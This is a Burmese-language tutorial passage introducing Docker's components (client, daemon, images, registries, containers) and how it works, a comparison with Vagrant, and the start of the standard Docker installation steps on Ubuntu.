နောက်တစ်ခုက physical servers တွေကနေပြီး VMs အသွင်ပြောင်းလိုက်တုန်းရတဲ့ အကျိုးအမြတ်မျိုးလည်း VMs ကနေ Docker container အသွင်ပြောင်းလိုက်တဲ့ အခါမှာလည်းရပါတယ်။ အဲ့ဒါဘာလဲဆိုတော့ Squeezability တက်လာပါတယ်။ ဥပမာ physical servers တွေအသုံးပြုတုန်းက application တစ်ခုအတွက် dedicated physical server တစ်လုံး setup လုပ်ရပါတယ်။ ထားပါတော့ MySQL အတွက် MySQL server ဆိုပြီးတော့ထားရပါတယ်။ Load များလို့ ထပ်ပြီးတော့ နောက်ထပ် server တွေ ထည့်ချင်ရင် အလုပ်ကများပါပြီ။ ဒါကိုကြည့်မယ်ဆိုရင် scalable သိပ်မဖြစ်ခဲ့ပါဘူး။ Power consumption များလို့ energy efficient မဖြစ်ဘူးလို့လည်းဆိုရမှာပါ။ VM တွေဖြစ်လာတော့ physical hypervisor host တစ်ခုပေါ်မှာ VM အလုံးရေ အများကြီးကို squeeze လုပ်လိုက်ပြီးတော့ တင်လို့ရလာပါတယ်။ Scalability လည်း အများကြီးတက်လာပါတယ်။ Downtime လည်းနည်းသွားပါတယ်။ Energy efficient လည်းပိုဖြစ်လာပါတယ်။ ကဲ… Docker containers တွေ ကိုသုံးလိုက်ခြင်းအားဖြင့် ရနိုင်တဲ့ အကျိုးအမြတ်တွေက ပြောပြစရာတောင် မလိုတော့ပါဘူး။ Docker ကို သုံးခြင်းအားဖြင့် application တစ်ခုကို deploy လုပ်ဖို့ လိုအပ်တဲ့ platform ရှိမယ်ဆိုရင် ပိုပြီးတော့ မြန်လည်းမြန် လွယ်လည်းလွယ်သွားပါတော့တယ်။ အဲ့ဒါကြောင့်လည်း Docker ဟာ အနာဂတ်အတွက် တွင်တွင်ကျယ်ကျယ် အသုံးဝင်လာ အသုံးပြုလာမယ့် နည်းပညာတစ်ခုဖြစ်လာလိမ့်မယ်လို့ စာရေးသူထင်ပါတယ်။

### Docker မှာပါဝင်တဲ့ အစိတ်အပိုင်းများ

Docker ကို စပြီးအသုံးပြုတော့မယ်ဆို ပါဝင်အစိတ်အပိုင်းလေးတွေကို သိထားရင်တော့ ပိုကောင်းပါတယ်။ အဲ့ဒါမှ မဟုတ်ရင်တော့ video tutorial တွေတော့လိုက်လုပ်လို့ ရပါတယ်၊ သို့သော် ကိုယ်က ဘယ်အပိုင်းကို download ဆွဲပြီးတော့၊ ဘယ်အပိုင်းကို တော့ဖြင့် run လိုက်တယ်ဆိုတာကို မသိပဲနဲ့ မျက်စိတော့ နည်းနည်း လည်နိုင်ပါတယ်။ ဒါ့အပြင် Docker ဘယ်လိုအလုပ်လုပ်သလဲဆိုတာလည်း ရှင်းရှင်းလင်းလင်း သိသွားအောင်လို့လဲ ရည်ရွယ်ပါတယ်။ အဲဒီတော့ အစိတ်အပိုင်းလေးနဲ့ သူ့ရဲ့ အခေါ်အဝေါ်လေးတွေတော့ သိထားရအောင် နည်းနည်းလေး ဆွေးနွေးကြည့်လိုက်ရအောင်။

#### Docker Client and Daemon

ဒီမှာ ၂ ပိုင်းရှိပါတယ်။ Docker client ကတစ်ခု၊ Docker Daemon ကတစ်ခု ပါ။ Docker client လို့ ဆိုတဲ့နေရာမှာ တော့ရှင်းပါတယ်။ Docker ကိုအသုံးပြုဖို့ User Interface တစ်ခုလိုပါတယ်။ အဲ့ဒီ UI က CLI လည်းဖြစ်နိုင်သလို၊ GUI လည်းဖြစ်နိုင်ပါတယ်။ Official အနေနဲ့တော့ Docker ဟာ CLI သို့မဟုတ် REST API တစ်ခုကို default အနေနဲ့ ပေးပါတယ်။ Docker command တွေဟာလည်း self-descriptive ဖြစ်လို့ သူ့ဟာနဲ့သူ ရှင်းပါတယ်။ ဆိုပါတော့ docker run က docker container တစ်ခုကို run လုပ်ဖို့ပါ။ docker pull ဆိုတာ docker image ကို Docker Hub ပေါ်ကနေ ဆွဲယူလိုက်ဖို့ပါ။ docker command တော်တော်များများက docker \<verb> ဆိုတဲ့ ပုံစံမျိုးနဲ့ တည်ဆောက်ထားပါတယ်။ Git ကို သုံးတဲ့လူတိုင်း သိပါတယ်။ အဲ့ဒါမျိုး Git မှာလည်း သုံးတယ်ဆိုတာကို။ Docker ဟာလည်း Git ရဲ့ ရိုးရှင်းတဲ့ command structure ကို ယူသုံးတဲ့ ပုံရပါတယ်။ ကိုယ်က GUI သုံးချင်တယ်ဆိုရင်လည်း Kitematic တို့ ၊ Portainer တို့လို GUI tool တွေရှိပါတယ်။ သို့သော် စာရေးသူရဲ့ တကိုယ်ရေ အမြင်ကတော့ CLI ကိုသာ ဦးစားပေးပြီးတော့ သုံးသင့်ပါတယ်။ Docker လိုမျိုး Linux ကမ္ဘာက နည်းပညာတစ်ခုကို ကိုယ်ကအသုံးပြုနေတဲ့နောက်တော့ CLI လို UI နဲ့ ကိုယ်က အကျွမ်းဝင် သင့်ပါတယ်။ Linux ကမ္ဘာမှာ CLI command တွေကသာ အလုပ်ဖြစ်ပြီးတော့ GUI tool တွေဟာ တနည်းနည်းနဲ့တော့ broken ဖြစ်တတ်တဲ့ သဘောရှိပါတယ်။ အဲ့ဒီတော့ နောက်ပိုင်းမှာ Docker အကြောင်းဆက်ရေးဖြစ်တဲ့အခါမှာ CLI command တွေကိုသာ ထည့်သွင်း ရှင်းပြသွားမှာဖြစ်ပါတယ်။ မူရင်းဆိုလိုရင်းက Docker client ဆိုတာ Docker ရဲ့ management UI လို့ပြောချင်တာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ca9f402f7b10a4d6f7e52704ed774ef4877de386%2Fdocker-command.png?alt=media" alt=""><figcaption></figcaption></figure>

နောက်တစ်ပိုင်းက Docker daemon ပါ။ Linux မှာ daemon ဆိုတာပြောလိုက်ရင်သိပါပြီ။ Daemon ဆိုတာ process ကိုပြောတာပါ။ နောက်တစ်ခုသိထားရမှာက Docker daemon ကို တချို့က Docker engine လို့လည်း သမုတ်ကြပါတယ်။ Linux ကမ္ဘာမှာတော့ background မှာ daemon တွေ active ဖြစ်မှသာ ကိုယ်သုံးချင်တဲ့ program ကိုအသုံးပြုနိုင်ပါတယ်။ ဒီလိုပါပဲ… Docker ကို အသုံးပြုဖို့ Docker engine အရင် run ရပါတယ်။ အဲ့ဒါမှသာ ကိုယ်က Docker client မှာ စပြီးတော့ command တွေရိုက်ထည့်ပြီးတော့ အသုံးပြုနိုင်မှာပါ။ Docker ကို install လုပ်ပြီဆိုတာနဲ့ Docker client နဲ့ daemon က တပေါင်းတည်း ပါလာတဲ့ အတွက် သီးခြား သပ်သပ် ထပ်ပြီးတော့ install လုပ်စရာမလိုပါဘူး။ တခါတလေလည်း production မှာသုံးတဲ့ အခါ Docker Client နဲ့ Docker Engine ကိုမတူတဲ့ host ပေါ်မှာ ထားပြီးတော့ run တတ်ကြပါတယ်။ ပုံမှန် Docker ကို ကိုယ်ရဲ့ စက်မှာ တင်ပြီးတော့ဖို့ install လုပ်တဲ့ အခါမှာတော့ Docker client နဲ့ Docker engine ဟာ တစ်ပေါင်းတည်းပါလာပါတယ်။

#### Docker images

အရှေ့တပိုင်းမှာ ပြောသလိုပဲ… conventional container နည်းပညာ ကနေ Docker နည်းပညာ ကွာခြားချက်က Docker image ဆိုတဲ့ missing piece ကို အချိုးကျကျ အသုံးချပြီးတော့ စမ်းသစ်လိုက်တာပါပဲ။ Docker images ဆိုတာကတော့ ကိုယ်လိုချင်တဲ့အတိုင်းတည်ဆောက်ထားတဲ့ template တစ်ခုပါပဲ။ ဆိုပါတော့ ကိုယ်က Docker image တစ်ခု build လုပ်တဲ့အခါမှာ Ubuntu 16.04 ကို base image အနေနဲ့ယူထားပြီးတော့၊ အဲ့ဒီပေါ်ကနေမှ Nginx ဆိုတဲ့ web server ကို ပေါင်းထည့်လိုက်တယ်ဆိုကြပါတော့။ အဲ့ဒီထိကို Docker image အနေနဲ့ သိမ်းဆည်းထားလို့ ရပါတယ်။ အနည်းဆုံးတော့ template တစ်ခုရပြီးတော့ နောက်အခါကိုယ်က အဲ့ဒီ Docker image ပေါ်မှာကိုယ်ကြိုက်တဲ့ Nginx ရဲ့ add-on feature တွေကိုထပ်ပေါင်းထည့်ပြီးတော့ ကိုယ်လိုသလောက် containers တွေကို တည်ဆောက်လို့ရပါတယ်။ အဲ့ဒီတော့ container တစ်ခုကို အကြိမ်ကြိမ် ပြန်လည်တည်ဆောက်ဖို့မလိုတော့ပါဘူး။ ဒီတစ်ခုကတော့ Docker ရဲ့ သိသိသာသာ အားသာချက်တစ်ခုပါ။ Docker images ဆိုတဲ့ template တွေရှိလာတဲ့အတွက် အဲ့ဒီ image တွေကို Docker Eocsystem ထဲမှာ reuse သို့မဟုတ် recycle လုပ်ဖို့ အတွက် platform တစ်ခုလိုအပ်လာပါတယ်။ Docker image တွေတော့ ရှိပါရဲ့ တခြားလူတွေ ပြန်သုံးချင်ရင် ပြန် share ရတဲ့ အခါ ပုံစံအမျိုးမျိုးနဲ့ share ရင် ပြဿနာရှိနိုင်ပါတယ်။ ဒါမျိုးမဖြစ်အောင်လို့ Docker ဟာ အစိတ်အပိုင်းနောက်တစ်ခု ထပ်ပြီးတော့ ထည့်ပေါင်းရပါတယ်။ အဲ့ဒီ အစိတ်အပိုင်းကတော့ Docker registries ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-62f1d8526afff0d6b63d7ad7427f827bd2f8ead1%2Fdocker-image-layers-100664051-large.idge_.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Docker registries

Docker registries ဆိုတာ နားလည်ဖို့ က သိပ်မခက်ပါဘူး။ GitHub ဆိုတာကို သိရင် Docker registries ဆိုတာကို ချက်ချင်းသိပါတယ်။ အလုပ်လုပ်ပုံလည်း တပုံစံတည်းပါ။ Public domain မှာ အသုံးပြုတဲ့ Docker registry ကိုတော့ Docker Hub လို့ ခေါ်ကြပါတယ်။ Docker registries မှာ ကိုယ့် ကုမ္ပဏီအတွက် သီးသန့်သုံးချင်တယ်ဆိုရင် private လုပ်လို့ရပါတယ်။ ဒါမှမဟုတ်ပဲ access level ပေါ်မှာ အခြေခံထားပြီးတော့ ရှိပြီးသား registry ကို ထိမ်းချုပ်နိုင်တဲ့ restricted လုပ်ချင်လည်း လုပ်လို့ရပါတယ်။ ရှင်းရှင်းပြောရရင် Docker registries ဆိုတာ Docker images တွေကို သိမ်းဆည်းပြီး၊ ပြန်လည် မျှဝေလို့ရတဲ့ cloud based repository လို့ပဲ ဆိုကြပါတော့။ Docker registries တွေရှိလို့ build နဲ့ deployment process မှာ အချိန်တော်တော်လေးကို save ဖြစ်သွားပါတယ်။ အဲ့ဒီတော့… Docker registries ဟာ Docker images ကို ဖန်တီးပြီးနောက် ဆင့်ပွားဖန်တီးလိုက်ရတဲ့ repository တစ်ခုပါ။ Docker client၊ Docker daemon နဲ့ Docker registries တွေအလုပ်လုပ်ပုံဟာ GitHub နဲ့ Git client အလုပ်လုပ်ပုံနဲ့ တော်တော်လေး ဆင်တူပါတယ်။ တူတယ်လို့ပဲဆိုကြပါတော့။ နောက်ပိုင်းမှာ Docker Hub လို့သုံးတဲ့အခါမှာ စာရေးသူဟာ public မှာ သုံးဖို့အတွက် လုပ်ထားတဲ့ Docker registry ကို ဆိုလိုရင်းဖြစ်တယ်ဆိုတာကို သိစေချင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-514b04130e24932685c7e62ff57296cc8a967f53%2Fdocker-registry-workflow-100664050-large.idge_.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Docker containers

ဟုတ်ပြီ… ပြောသွားတဲ့ အစိတ်အပိုင်း တွေတော်တော်လည်းစုံသွားပြီ။ နောက်ဆုံးတစ်ခုပဲ ပြောစရာရှိတော့ တယ်။ အဲ့ဒါ Docker containers ဆိုတဲ့ အစိတ်အပိုင်းပါ။ Docker container ဆိုတာ အရှေ့မှာလည်း စကားစပ်လို့ ပြောဘူးပါတယ်။ Docker container ဟာ application container အမျိုးအစား တစ်ခုဖြစ်ပါတယ်။ ထပ်ပြီးတော့ ပြောပါ့မယ်… container ဆိုတာ VM မဟုတ်ပါဘူး။ အထက်မှာ ဘာကွာခြားချက်တွေရှိလည်း ဆိုတာ ထိုက်သင့်သလောက် ဆွေးနွေးပြီးသွားပါပြီ။ container ကို run တဲ့အခါမှာ လိုအပ်တဲ့ base image နဲ့ ထပ်ပေါင်းထည့်ထားတဲ့ bins/libs တွေပေါင်းပြီး isolated လည်းလုပ်ထား၊ တခြား cgroups နဲ့ namespaces တွေပေါ်မှာ depend မလုပ်တဲ့ lightweight အထုပ်လေးတစ်ခုပါ။ VM လိုဘာ virtual hardware နဲ့ guest OS တခုလုံး install လုပ်စရာမလိုပါဘူး။ နောက်အပိုင်းတွေမှာ Docker containers တွေကို Dockerfile နဲ့ ဘယ်လိုတည်ဆောက်သလဲဆိုတာ ရှင်းတန်သလောက် ဆက်ရှင်းပါ့မယ်။ ဒါတွေကတော့ Docker သုံးတော့မယ်ဆိုရင်သိထားသင့်တဲ့ အစိတ်အပိုင်းလေးတွေပါပဲ။ အခု ရှင်းရှင်းလင်းလင်း သိထားတော့ နောက်ပိုင်း လက်တွေကို ရှင်းတဲ့အခါမှာ မရှုပ်တော့ဘူးလို့ယူဆပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-825e5ead7e8c17e95f04a2dc3e5eae1eb8fa4d18%2Fdocker-architecture-techtip39.png?alt=media" alt=""><figcaption></figcaption></figure>

### Docker အလုပ်လုပ်ပုံ

Docker ရဲ့ အစိတ်အပိုင်းလေးတွေကိုတော့ သိပါပြီ။ Docker ဟာ အဲ့ဒီ အစိတ်အပိုင်းတွေကို အသုံးချပြီးတော့ ဘယ်လို အလုပ်လုပ်သလဲ ဆိုတာလည်း အကြမ်းအားဖြင့်တော့ သိဖို့လိုပြန်ပါတယ်။ Docker ဟာ client-server architecture တစ်ခုပါ။ အောက်မှာပြထားတဲ့ ပုံအတိုင်း Docker client ကနေပြီးတော့ Docker command တွေကိုရိုက်ထည့်လိုက်တဲ့အခါမှာ Docker engine ဟာ လိုအပ်တဲ့ လုပ်ဆောင်ချက်တွေကို လုပ်ပါတယ်။ ပုံထဲမှာပြထားတဲ့ အတိုင်း Docker client ရဲ့ CLI မှာ docker command ဖြစ်တဲ့ docker pull တို့ docker runတို့ ရိုက်ထည့်လိုက်တဲ့အခါမှာ Docker engine က Docker containers တွေကို ဘယ်လို လုပ်ဆောင်ချက်တွေလုပ်စေဆိုပြီး drive လုပ်ပါတယ်။ ဥပမာ docker run -d -it centos ကို Docker client ရဲ့ CLI မှာရိုက်ထည့်လိုက်ရင် Docker engine ဟာ သူ့ရဲ့ host ပေါ်မှာ အဲ့ဒီ centos ဆို Docker image ရှိမရှိကို အရင်ကြည့်လိုက်ပါတယ်။ ရှိတယ် ဆိုရင် အဲ့ဒီ image ကိုယူသုံးပြီးတော့ Docker container တစ်ခုကိုတည်ဆောက်လိုက်ပါတယ်။ -d ဆိုတဲ့ parameter ဟာ daemon အနေနဲ့ background မှာ runလို့ဆိုပြီးတော့၊ -it ဆိုတာကတော့ interactive terminal တခုပေးဖို့ကို ပြောတာပါ။ တကယ်လို့များ host ပေါ်မှာ centos ဆိုတဲ့ image မရှိဘူးဆိုရင်တော့ Docker engine ဟာသူနဲ့ ချိတ်ဆက်ထားတဲ့ Docker registry ကနေ နောက်ဆုံး up-to-date ဖြစ်တဲ့ Docker centos image ကို pull လုပ်ပါတယ်။ ပြီးတော့မှ အဲ့ဒီ Docker container ကို ဖော်ပြပြီးဖြစ်တဲ့ parameter တွေနဲ့ run ပါတယ်။ ကိုယ်က ဘယ် Docker registry နဲ့ မချိတ်ထားရင်တော့ Docker engine ဟာ Docker Hub ကို default registry အနေနဲ့ အသုံးပြုပါတယ်။ ဒါတွေအားလုံးဟာ Docker engine ရဲ့ စွမ်းဆောင်ရည်တွေပဲဖြစ်ပါတယ်။ Usability မှာ အဲ့ဒီလို အသုံးပြုရတာရိုးရှင်းတဲ့အတွက် အခက်အခဲမရှိပဲနဲ့ adopt လုပ်နိုင်ပါတယ်။

နောက်တစ်ချက်က Docker container တစ်ခုချင်းစီရှိ တည်ဆောက်ထားပုံပါ။ Docker containers တွေဟာ immutable ဖြစ်တယ်လို့ ပြောပါတယ်။ ဘာကိုဆိုလိုသလဲ ဆိုရင် Docker container ကို run ထားပြီးရင် သူ့ကိုအခြေခံပြီး တည်ဆောက်ထားတဲ့ base image ကို real-time မှာ သွားပြီး အပြောင်းအလဲ လုပ်ချင်လို့မရပါဘူး။ base image အတွက် update ရှိလို့ ကိုယ့် container မှာ apply လုပ်ချင်ရင် Docker image နောက်တစ်ခုကို အစကနေပြန်ပြီးတော့ build လုပ်ရပါတယ်။ အဲ့လို immutability ရှိတဲ့အတွက် ရလာတဲ့ အကျိုးအမြတ်တွေကတော့ image တွေကို version control လုပ်တဲ့အခါမှာ ပိုပြီးတော့ ထိရောက်မှုရှိပါတယ်။ နောက်တစ်ခုက updates management အတွက် ပိုပြီးတော့ dependencies တွေနည်းသွားပါတယ်။ ဆိုပါတော့ VM တစ်ခုမှာ ကိုယ်က application သို့မဟုတ် service တစ်ခုထက်ပိုပြီးတော့ run ထားတယ်ဆိုရင်၊ အဲ့ဒီ VM ရဲ့ Guest OS ကို update လုပ်ဖို့လိုတယ်ဆိုရင် run ထားတဲ့ application တွေနဲ့ service တွေ အကုန်လုံးကို သက်ရောက်မူရှိပါတယ်။ update လုပ်လိုက်လို့ အဆင်မပြေလို့ အခပ်မသင့်ရင် VM တစ်ခုလုံးကို recovery လုပ်ရ၊ application တွေအားလုံးကို ပြန်ပြီးတော့ configure လုပ်ရနဲ့ အရမ်းသတိထားရပါတယ်။ Docker container မှာတော့ immutability ရှိတဲ့အတွက် စိတ်ပူစရာ မလိုပါဘူး။ ကိုယ်က host ကို update တဲ့အခါမှာလည်း Docker container ကို တိုက်ရိုက် မှီခိုရတာမျိုးမရှိပါဘူး။ Docker containers တွေဟာ host ကနေလည်း isolated လုပ်ထားတာမို့ တစ်ခုနဲ့ တစ်ခု dependency မရှိပါဘူး။

ဒီလောက်ဆိုရင်တော့ ဒီ အပိုင်းအတွက် လုံလောက်ပြီလို့ထင်ပါတယ်။ နောက် တစ်ပိုင်းမှာတော့ Docker container အပေါ်မှာ လူတွေ အထင်မှား အမြင်မှားနေတဲ့ misconception လေးတွေနဲ့ Docker ကို ကိုယ့်ရဲ့ စက်မှာ ဘယ်လို လက်တွေ့ အသုံးချ စမ်းသပ်ကြည့်မလဲဆိုတာကို ဆက်ချင်ပါတယ်။


# Docker မိတ်ဆက် အပိုင်း(၃)

Docker အကြောင်းတွေကို မိတ်ဆက်လိုက်တာ အခုဆို အပိုင်း ၂ ပိုင်းတောင်ရှိသွားပါပြီ။ ပထမတပိုင်းမှာတော့ Docker ရဲ့ နောက်ခံ အကြောင်းလေးနဲ့ စလိုက် ပြီးတော့၊ ဒုတိယပိုင်းမှာတော့ Docker ရဲ့ တည်ဆောက်ထားပုံနဲ့ သူ့ရဲ့ Docker image အကြောင်းလေးတွေကို အနည်းငယ်တင်ပြပြီးသွားပါပြီ။ မိတ်ဆက်ပေးရုံသာဖြစ်တဲ့ အတွက် ပြီးပြည့်စုံတယ်လို့တော့ မထင်ပါဘူး။ အလုံးစုံကိုရှင်းမယ်ဆိုရင်တော့ ပြောလို့ ပြီးမယ်လို့တောင် မထင်ပါဘူး။ မည်သို့ပင် ဖြစ်စေ Docker ရဲ့ အရသာကို အမြီး သဘောမျိုး သိလိုက်ရမယ်လို့တော့ ထင်ပါတယ်။ ဒီအပိုင်းမှာတော့ Docker ကို အခြားသော virtualization နည်းပညာ တချို့နဲ့ ရောပြီးတော့ မှားတတ်တဲ့ သဘောရှိလို့၊ Docker ကို လက်တွေ့မှာ တကယ်မသုံးခင် ရှင်းစရာရှိတာကို အရင်ဆုံး ရှင်းလိုက်ရအောင်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-37bfcf85768985afd378bb27f84bcd29e50a58e8%2FDocker-API-infographic-container-devops-nordic-apis-768x470.png?alt=media" alt=""><figcaption></figcaption></figure>

### Docker နဲ့ ဆင်တူတဲ့ Vagrant

Docker ကို တချို့က virtualization နဲ့ မှားတတ်သလို၊ WSL (Windows Subsystem for Linux ) ဆိုတဲ့ subsystem မျိုးနဲ့ လည်းမှားတတ်ပါတယ်။ Virtualization နဲ့ မတူဘူးဆိုတာကိုတော့ အရှေ့အပိုင်းတွေမှာ သရှင်းနိုင်သလောတော့ ရှင်းပြထားပါတယ်။ Virtualization နည်းပညာကို အနောက်ဘက်မှာ သုံးပြီးတော့ Docker နဲ့ခပ်ဆင်ဆင် နောက် နည်းပညာတစ်ခုရှိပါတယ်။ Vagrant လို့ခေါ်ပါတယ်။ DevOp ဘက်မှာတော့ တချို့ Developers တွေဟာ Vagrant ကိုသုံးပြီးတော့ App တွေကို develop လုပ်ကြ၊ test လုပ်ကြပါတယ်။ များသောအားဖြင့် Vagrant ကို test လုပ်ဖို့ staging အဆင့်လောက်ထိသာ အသုံးများပြီးတော့၊ Docker ကိုတော့ production environment ထိသုံးလို့ရအောင်လို့ လုပ်ထားကြပါတယ်။ Vagrant ဟာလည်း Docker လိုမျိုး CLI မှာ command တွေရိုက်ထည့်ပြီးတော့ ကိုယ်လိုချင်တဲ့ VM template Box တွေကို Vagrant Cloud ကနေပြီးတော့ ဆွဲယူပြီးတော့ အသုံးပြုလို့ရပါတယ်။ Vagrant မှာလည်း Docker မှာသုံးတဲ့ Dockerfile လိုမျိုး Vagrantfile ဆိုတာလည်းရှိပါတယ်။ Vagrant စထွက်လာတဲ့ အချိန်နဲ့ Docker စထွက်လာတဲ့ အချိန်ဟာ မရှေးမနှောင်းလို့ဆိုရမှာပါ။ Vagrant ကတော့ ထွက်တာ နည်းနည်းလေး စောပါလိမ့်မယ်။ Design concept နဲ့ purpose အရကြည့်မယ်ဆိုရင် Vagrant နဲ့ Docker ဟာ တော်တော်ဆင်တူပါတယ်။ Vagrant ရဲ့ ရည်ရွယ်ချက်ကလည်း Docker နည်းတူ DevOps သမားတွေအတွက် အဆင်ပြေအောင်လို့ လုပ်ထားတာ ဖြစ်ပါတယ်။ Vagrant အကြောင်းကို အသေးစိတ် နောက်မှ သပ်သပ်ထပ်ရေးသွားပါ့မယ်။ အခုဒီ post မှာတော့ Docker နဲ့ ဘာလို့ အလွယ်တကူ အမှတ်မှားနိုင်လည်းဆိုတာကို အလေးပေးပြီးတော့ ဆွေးနွေးချင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-6db24da8471eeb8fc995b00de186faac98231e0f%2Fvagrant-and-virtualbox.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2b0b092deb2910d34d9afdd3f672bff617749110%2Fvagrant-archi-252812529.png?alt=media" alt=""><figcaption></figcaption></figure>

ပုံမှန်အားဖြင့်တော့ Vagrant ဟာ Virtualbox ကိုသူ့ရဲ့ provider အနေနဲ့ သုံးပါတယ်။ Virtualbox က open-source ဖြစ်တဲ့အတွက် Vagrant တွဲပြီးတော့ သုံးကြတာပါ။ Vagrant ရဲ့ မူရင်းပိုင်ရှင် ကုမ္ပဏီဖြစ်တဲ့ HashiCorp ကတော့ VMware ကို provider အနေနဲ့ တွဲသုံးဖို့ ကို recommend လုပ်ထားပါတယ်။ သို့သော် VMware ဟာ proprietary ဖြစ်တဲ့ အတွက် ကုန်ကျစရိုက်ရှိသော်လည်း၊ stable လည်းပိုဖြစ်ပါတယ်။ Free ရတဲ့ VMware Player ကြပြန်တော့လည်း feature အပြည့်အစုံမပါလို့ သုံးတာအဆင်မပြေပါဘူး။ VMware Workstation လောက်သုံးမှ အဆင်ပြေတဲ့အတွက် နောက်ဆုံးတော့ open-source ဖြစ်တဲ့ Virtualbox ကိုသာပြေးပြီးတော့ ကပ်ရပြန်တာပါပဲ။ Vagrant ဟာ အဲ့လိုမျိုး VM တွေကို run ဖို့အတွက် Virtualization platform တစ်ခုလိုတဲ့အတွက်၊ သဘာဝအရတော့ Docker နဲ့ လုံးဝကွာခြားသွားပါတယ်။ Ruby နဲ့ Vagrant ကိုရေးထားတာဖြစ်ပြီးတော့၊ VM တစ်လုံးကို provision လုပ်တဲ့အခါသုံးတဲ့ Vagrantfile ရဲ့ syntax ဟာ Ruby language ရဲ့ syntax ပါပဲ။ Docker မှာတော့ ပိုပြီးရိုးရှင်းတဲ့ syntax ကို နောက်ပိုင်းမှာ တွေ့ရမှာဖြစ်ပါတယ်။ တချို့ developers တွေဟာ Vagrant ကို သူတို့ software developing environment နဲ့ test environment မှာ တွင်တွင်ကျယ်ကျယ် သုံးနေဆဲပါ။ စာရေးသူ အနေနဲ့တော့ Docker ကို ပိုပြီးတော့ စိတ်တိုင်းကျပါတယ်။ သို့သော် နှစ်ခုလုံးမှာ သူတို့ရဲ့ အားနည်းချက် အားသာချက်ကိုယ်စီ ရှိကြပါတယ်။ ဒီအပိုင်းမှာ Vagrant ကို နည်းနည်းထည့်ရှင်းတာဟာ Docker နဲ့ ဆင်တူလွန်းတာတကြောင်း၊ DevOps မှာလည်း လက်ရှိသုံးနေကြတာရှိတဲ့အတွက် အမှတ်မမှားရအောင်လို့ ဖြစ်ပါတယ်။ အခုတော့ Docker ကို ကိုယ့်စက်ပေါ်မှာ ဘယ်လိုတင် ပြီးသုံးလို့ ရသလဲဆိုတာရယ်၊ အခြေခံသုံးလို့ ရတဲ့ Docker command တချို့နဲ့ Docker Compose tool နဲ့ ကိုယ့်စိတ်ကြိုက် container တစ်ခုဘယ်လို တည်ဆောက်လို့ရသလဲဆိုတာတွေကို အရင်သွားလိုက်ရအောင်။

### Docker ကို ဘယ်လို install လုပ်သလဲ

အခုတလော စာရေးသူကိုယ်တိုင် Ubuntu LTS 16.04 နဲ့ CentOS7 နှစ်ခုလုံးကို တော်တော်လေး စိတ်တိုင်းကျနေတဲ့ အတွက် Docker အကြောင်းရေးဖို့ စဉ်းစားတော့၊ Ubuntu နဲ့ CentOS ပေါ်မှာ Docker ကို install လုပ်ပုံ နဲ့ ကိုယ်စက်ပေါ်မှာ Docker အတွက်လိုတဲ့ initial configuration လေးတွေကို အခြေခံပြီးတော့ ရေးသွားမှာ ဖြစ်ပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် Ubuntu မှာ install လုပ်လို့ အဆင်ပြေရင် Debian ကဆင်းလာတဲ့ distro တော်တော်များများ အဆင်ပြေပါတယ်။ လိုအပ်တဲ့အပိုင်းတွေကို Install လုပ်၊ initial configuration တွေလုပ်ပြီးသွားရင်တော့ ကျန်တဲ့အပိုင်းတွေမှာတော့ Docker command တွေကို သုံးတဲ့အတွက် distro agnostic ဖြစ်ပါတယ်။

ပထမဆုံး အနေနဲ့ Docker ကို install ဘယ်လိုလုပ်သလဲဆိုတာနဲ့ စလိုက်ရအောင်။ Docker ကို install လုပ်တဲ့ နည်းလမ်း အမျိုးမျိုးရှိပါတယ်။ အခုဒီမှာ သုံးတဲ့ command ကတော့ Docker နောက်ဆုံးထွက်ထားတဲ့ version ကို dowload လုပ်ပြီးတော့၊ လိုအပ်တဲ့ dependencies တွေကိုပါလိုအပ် သလို automatic ဆွဲပြီးတော့ install လုပ်တဲ့ နည်းပါ။

**Ubuntu**\
ကိုယ့်စက်ပေါ်မှာ curl နဲ့ လိုအပ်တဲ့ tool လေးတွေကို မရှိသေးရင် အရင် install လုပ်လိုက်ပါ။ ပြီးတော့မှ Docker ကို အောက်မှာပြထားတဲ့ instruction အတိုင်းဆက်ပြီးတော့ install လုပ်လိုက်ပါ။

```
$ sudo apt-get update

$ sudo apt-get install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg-agent \
    software-properties-common
```

Docker ရဲ့ official GPG key ကိုအောက်မှာပြထားတဲ့ အတိုင်းပေါင်းထည့်လိုက်ပါ။

```
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
```

GPG key ကို verify လုပ်ချင်တယ်ဆိုရင်တော့ အောက်ကအတိုင်းလုပ်နိုင်ပါတယ်။

```
$ sudo apt-key fingerprint 0EBFCD88

pub   rsa4096 2017-02-22 [SCEA]
      9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88
uid           [ unknown] Docker Release (CE deb) <docker@docker.com>
sub   rsa4096 2017-02-22 [S]
```

အခုဆိုရင် Docker ကိုစတင် install လုပ်နိုင်ပါပြီ။

```
$ sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"
   
 $ sudo apt-get update
 $ sudo apt-get install docker-ce docker-ce-cli containerd.io
```

